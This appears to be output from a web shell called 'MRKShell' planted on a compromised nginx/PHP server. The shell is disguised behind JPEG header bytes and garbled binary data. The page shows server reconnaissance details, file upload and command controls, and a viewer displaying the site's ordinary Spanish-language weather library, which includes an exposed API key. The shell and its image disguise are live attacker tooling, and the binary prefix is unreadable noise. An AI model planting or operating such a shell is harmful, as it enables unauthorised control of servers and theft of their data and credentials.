JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 104.23.243.235
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/libraries/clima_library.php
<?php
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Clima_library
{
	private $CI;

	function __construct()
	{
		$this->CI =& get_instance();
	}

	public function dameClima($wcode="468739")
	{
		$this->CI->load->library("memcached_library");
		$clima = $this->CI->memcached_library->get('clima_'.$wcode);
		if (!$clima)
		{
			$clima = $this->_datos_clima($wcode);
			$this->CI->memcached_library->add('clima_'.$wcode,$clima,600);
		}

		return $clima;
	}

	public function datos_clima($wcode)
	{
		$url= "http://weather.yahooapis.com/forecastrss?w=".$wcode."&u=c";
        $handler = curl_init();  
        curl_setopt($handler, CURLOPT_URL, $url);
        curl_setopt($handler, CURLOPT_RETURNTRANSFER, true); 
        curl_setopt($handler, CURLOPT_PROXY, PROXY_HOST);
        curl_setopt($handler, CURLOPT_PROXYPORT, PROXY_PORT);
        curl_setopt($handler, CURLOPT_CONNECTTIMEOUT, 1);
        $response = curl_exec ($handler);  
        curl_close($handler);

        if($response!=false)
        {
        	
        	$datos=array();
	        $clima=array();
	        $unidades=array();
	        $pronostico=array();
	        $i=0;
			$xmlDOM = new DOMDocument();
			$xmlDOM->loadXML($response);
			$documentElement = $xmlDOM->documentElement;
			if($documentElement->schemaTypeInfo!='null')
			{
				

				foreach ($documentElement->childNodes as $key => $prim) 
				{
					
					if ($prim->hasChildNodes()) {
						foreach ($prim->childNodes as $key => $seg) {
							if ($seg->nodeName=="yweather:units") {
								$unidades['velocidad']=$seg->getAttribute('speed');
								$unidades['presion']=$seg->getAttribute('pressure');
								$unidades['distancia']=$seg->getAttribute('distance');
								$unidades['temperatura']=$seg->getAttribute('temperature');
							}
							if ($seg->nodeName=="yweather:wind") {
								$clima['viento_direccion']=$seg->getAttribute('direction');
								$clima['viento_velocidad']=$seg->getAttribute('speed');
							}
							if ($seg->nodeName=="yweather:atmosphere") {
								$clima['humedad']=$seg->getAttribute('humidity').'%';
								$clima['visibilidad']=$seg->getAttribute('visibility');
								$clima['presion_atm']=$seg->getAttribute('pressure');
							}
							if ($seg->nodeName=="yweather:astronomy") {
								$clima['amanecer']=$seg->getAttribute("sunrise");
								$clima['anochecer']=$seg->getAttribute("sunset");
							}
							if ($seg->nodeName=="item") {
								if ($seg->hasChildNodes()) {
									foreach ($seg->childNodes as $key => $ter) {
										if ($ter->nodeName=="yweather:condition") {
											$clima['temperatura']=$ter->getAttribute('temp');
											$clima['img_codigo']=$ter->getAttribute('code');
											$clima['desc'] = $this->_dame_desc($clima['img_codigo']);
										}
										if ($ter->nodeName=="yweather:forecast") {
											$pronostico[$i]['dia']=$ter->getAttribute("date");
											$pronostico[$i]['min']=$ter->getAttribute("low");
											$pronostico[$i]['max']=$ter->getAttribute("high");
											$pronostico[$i]['img_codigo']=$ter->getAttribute("code");
											$pronostico[$i]['desc']=$this->_dame_desc($ter->getAttribute("code"));
											$pronostico[$i]['nom_dia']=$this->_dame_nom_dia($ter->getAttribute("day"));
											$i++;
										}
									}
								}
							}
						}
					}
				}

				$datos['clima']=$clima;
				$datos['pronostico']=$pronostico;
				$datos['unidades']=$unidades;

				//guardo en archivo
				$this->_guardo_clima_file($datos);

				return $datos;
			}
			else
			{
				$datos = $this->_leo_clima_file();
				return $datos;
			}
        }
    	else
    	{
    		$datos = $this->_leo_clima_file();
			return $datos;
    	}
	        
	}

	public function _dame_desc($code)
	{
		$opciones[0] = array('desc'=>'Tornado');
		$opciones[1] = array('desc'=>'Tormenta tropical');
		$opciones[2] = array('desc'=>'Huracán');
		$opciones[3] = array('desc'=>'Tormentas severas');
		$opciones[4] = array('desc'=>'Tormentas eléctricas');
		$opciones[5] = array('desc'=>'Lluvia y nieve');
		$opciones[6] = array('desc'=>'Lluvia y aguanieve');
		$opciones[7] = array('desc'=>'Nieve y aguanieve');
		$opciones[8] = array('desc'=>'Llovizna helada');
		$opciones[9] = array('desc'=>'Llovizna');
		$opciones[10] = array('desc'=>'Lluvia helada');
		$opciones[11] = array('desc'=>'Lluvias');
		$opciones[12] = array('desc'=>'Lluvias');
		$opciones[13] = array('desc'=>'Copos de nieve');
		$opciones[14] = array('desc'=>'Lluvias ligeras');
		$opciones[15] = array('desc'=>'Viento con nieve');
		$opciones[16] = array('desc'=>'Nieve');
		$opciones[17] = array('desc'=>'Granizo');
		$opciones[18] = array('desc'=>'Aguanieve');
		$opciones[19] = array('desc'=>'Polvo');
		$opciones[20] = array('desc'=>'Brumoso');
		$opciones[21] = array('desc'=>'Neblina');
		$opciones[22] = array('desc'=>'Brumoso');
		$opciones[23] = array('desc'=>'Borrascoso');
		$opciones[24] = array('desc'=>'Ventoso');
		$opciones[25] = array('desc'=>'Frío');
		$opciones[26] = array('desc'=>'Nublado');
		$opciones[27] = array('desc'=>'Parcialmente nublado');
		$opciones[28] = array('desc'=>'Parcialmente nublado');
		$opciones[29] = array('desc'=>'Parcialmente nublado');
		$opciones[30] = array('desc'=>'Parcialmente nublado');
		$opciones[31] = array('desc'=>'Despejado');
		$opciones[32] = array('desc'=>'Soleado');
		$opciones[33] = array('desc'=>'Despejado');
		$opciones[34] = array('desc'=>'Despejado');
		$opciones[35] = array('desc'=>'Lluvia y granizo');
		$opciones[36] = array('desc'=>'Caliente');
		$opciones[37] = array('desc'=>'Tormentas aisladas');
		$opciones[38] = array('desc'=>'Tormentas eléctricas dispersas');
		$opciones[39] = array('desc'=>'Tormentas eléctricas dispersas');
		$opciones[40] = array('desc'=>'Aguaceros dispersos');
		$opciones[41] = array('desc'=>'Fuertes nevadas');
		$opciones[42] = array('desc'=>'Lluvia de nieve dispersa');
		$opciones[43] = array('desc'=>'Fuertes nevadas');
		$opciones[44] = array('desc'=>'Parcialmente nublado');
		$opciones[45] = array('desc'=>'Tormentosos');
		$opciones[46] = array('desc'=>'Lluvia de nieve');
		$opciones[47] = array('desc'=>'Chubascos aislados');
		$opciones[3200] = array('desc'=>'No disponible');

		return $opciones[$code]['desc'];
	}
	
	public function _dame_nom_dia($dia_ingles)
	{
		$dias = array(
			'Mon' => "Lunes",
			'Tue' => "Martes",
			'Wed' => "Miércoles",
			'Thu' => "Jueves",
			'Fri' => "Viernes",
			'Sat' => "Sábado",
			'Sun' => "Domingo"
		);

		return $dias[$dia_ingles];
	}

	public function _guardo_clima_file($datos)
	{
		if($fp = fopen(PATH_BASE_XML."xml/clima/clima.serialize","w"))
		{
			fwrite($fp,serialize($datos));
			fclose($fp);
			return true;
		}
		else
			return false;

	}
	public function _leo_clima_file()
	{
		$archivo = PATH_BASE_XML."xml/clima/clima.serialize";
		if($fp = fopen($archivo,"r"))
		{
			$datos = fread($fp,filesize($archivo));
			fclose($fp);
			$datos = unserialize($datos);
			return $datos;
		}
		else
			return false;

	}

	public function datos_clima_w($wcode="Santiago_del_Estero")
	{
		$this->CI->load->library("memcached_library");
		
		$url = "http://api.wunderground.com/api/f7f1b326c14557c7/geolookup/conditions/forecast/lang:SP/q/Argentina/".$wcode.".xml";
        $handler = curl_init();  
        $header = array("Cache-Control: no-cache");
        curl_setopt($handler, CURLOPT_URL, $url);
        curl_setopt($handler, CURLOPT_RETURNTRANSFER, true); 
        //curl_setopt($handler, CURLOPT_PROXY, PROXY_HOST);
        //curl_setopt($handler, CURLOPT_PROXYPORT, PROXY_PORT);
        curl_setopt($handler, CURLOPT_CONNECTTIMEOUT, 30);
        curl_setopt($handler, CURLOPT_HTTPHEADER, $header);
        $response = curl_exec ($handler);  
        curl_close($handler);
        if($response!=false)
        {
	        $this->CI->load->library("varios_library");
	        $doc= $this->CI->varios_library->xml3array($response);
	        
	        $datos['viento_velocidad'] = $doc['response'][0]['current_observation'][0]['wind_kph'];
			$datos['humedad'] = $doc['response'][0]['current_observation'][0]['relative_humidity'];
			$datos['temperatura'] = $doc['response'][0]['current_observation'][0]['temp_c'];
			$datos['img_codigo'] = $this->_map_icono($doc['response'][0]['current_observation'][0]['icon']);
			$datos['desc'] = $doc['response'][0]['current_observation'][0]['weather'];
			$datos['minima'] = $doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][0]['low'][0]['celsius'];
			$datos['maxima'] = $doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][0]['high'][0]['celsius'];
	        
			for($i=0;$i<3;$i++)
			{
				$datos['extendido'][$i]['img_codigo'] = $this->_map_icono($doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][$i+1]['icon']);
				$datos['extendido'][$i]['desc'] = $doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][$i+1]['conditions'];
				$datos['extendido'][$i]['maxima'] = $doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][$i+1]['high'][0]['celsius'];
				$datos['extendido'][$i]['minima'] = $doc['response'][0]['forecast'][0]['simpleforecast'][0]['forecastdays'][0]['forecastday'][$i+1]['low'][0]['celsius'];
			}
			
	        $this->CI->memcached_library->set('clima_'.$wcode,$datos,36000);
	        $this->CI->memcached_library->set('salta_clima_'.$wcode,$datos,36000);
	    }
	    else
	    	$datos = false;

		return $datos;
	}

	public function _map_icono($nombre)
	{
		$iconos = array("chanceflurries"=>40,"chancerain"=>37,"chancesleet"=>7,"chancesnow"=>10,
			"chancetstorms"=>3,"clear"=>32,"cloudy"=>26,"flurries"=>11,"fog"=>20,"hazy"=>21,
			"mostlycloudy"=>28,"mostlysunny"=>34,"partlycloudy"=>30,"partlysunny"=>30,"sleet"=>42,
			"rain"=>38,"snow"=>16,"sunny"=>32,"tstorms"=>3);

		return $iconos[$nombre];
	}

	public function dameIcono($img_codigo)
	{
		$ico_clima = 1;
	    if (isset($img_codigo)) 
	    {
	      switch ($img_codigo) 
	      {
	        case 0:
	        case 1:
	        case 2:
	        case 3:
	        case 4:
	        case 37:
	        case 38:
	        case 39:
	        case 45:
	          $ico_clima='004';
	          break;
	        case 5:
	        case 6:
	        case 7:
	        case 13:
	        case 15:
	        case 16:
	        case 17:
	        case 18:
	        case 35:
	        case 40:
	        case 41:
	        case 42:
	        case 43:
	        case 46:
	          $ico_clima='017';
	          break;
	        case 8:
	        case 9:
	        case 10:
	        case 11:
	        case 47:
	          $ico_clima='011';
	          break;
	        case 12:
	          $ico_clima='012';
	          break;
	        case 14:
	          $ico_clima='014';
	          break;
	        case 26:
	        case 30: 
	          $ico_clima='030';
	          break;
	        case 27:
	          $ico_clima='027';
	          break;
	        case 28:
	          $ico_clima='028';
	          break;	          
	        case 29:
	          $ico_clima='029';
	          break;	        
	        case 31:
	        case 33:
	          $ico_clima='031';
	          break;
	        case 32:
	        case 34:
	          $ico_clima='032';
	          break;
	        case 44:
	          $ico_clima='044';
	          break;	          
	        default:
	            $ico_clima='3200';
	            break;
	      }
	    }
	    return $ico_clima;
	}

	public function dameIconoMovil($img_codigo)
	{
		$ico_clima=1;
		if(isset($img_codigo))
		{
			switch ($img_codigo) 
			{
			    case '0':
			      $ico_clima='tornado';
			      break;
			    case '1':
			    case '3':
			    case '4':
			    case '37':
			    case '38':
			    case '39':
			      $ico_clima='tormenta';
			      break;
			    case '5':
			    case '6':
			    case '7':
			    case '13':
			    case '15':
			    case '16':
			    case '18':
			    case '42':
			    case '46':
			      $ico_clima='nieve';
			      break;
			    case '8':
			    case '9':
			      $ico_clima='llovizna';
			      break;
			    case '10':
			    case '11':
			    case '12':
			    case '14':
			    case '35':
			      $ico_clima='lluvia';
			      break;
			    case '17':
			      $ico_clima='granizo';
			      break;
			    case '21':
			      $ico_clima='neblina';
			      break;
			    case '24':
			      $ico_clima='ventoso';
			      break;
			    case '26':
			      $ico_clima='nublado';
			      break;
			    case '27':
			    case '28':
			    case '29':
			    case '30':
			    case '44':
			      $ico_clima='pnublado';
			      break;
			    case '32':
			      $ico_clima='soleado';
			      break;
			    case '3200':
			       $ico_clima='comodin';
			        break;
			    break;
			    default:
			        $ico_clima='comodin';
			        break;
			}
		}
		return $ico_clima;
	}
}	
?>

Anon7 - 2022
AnonSec Team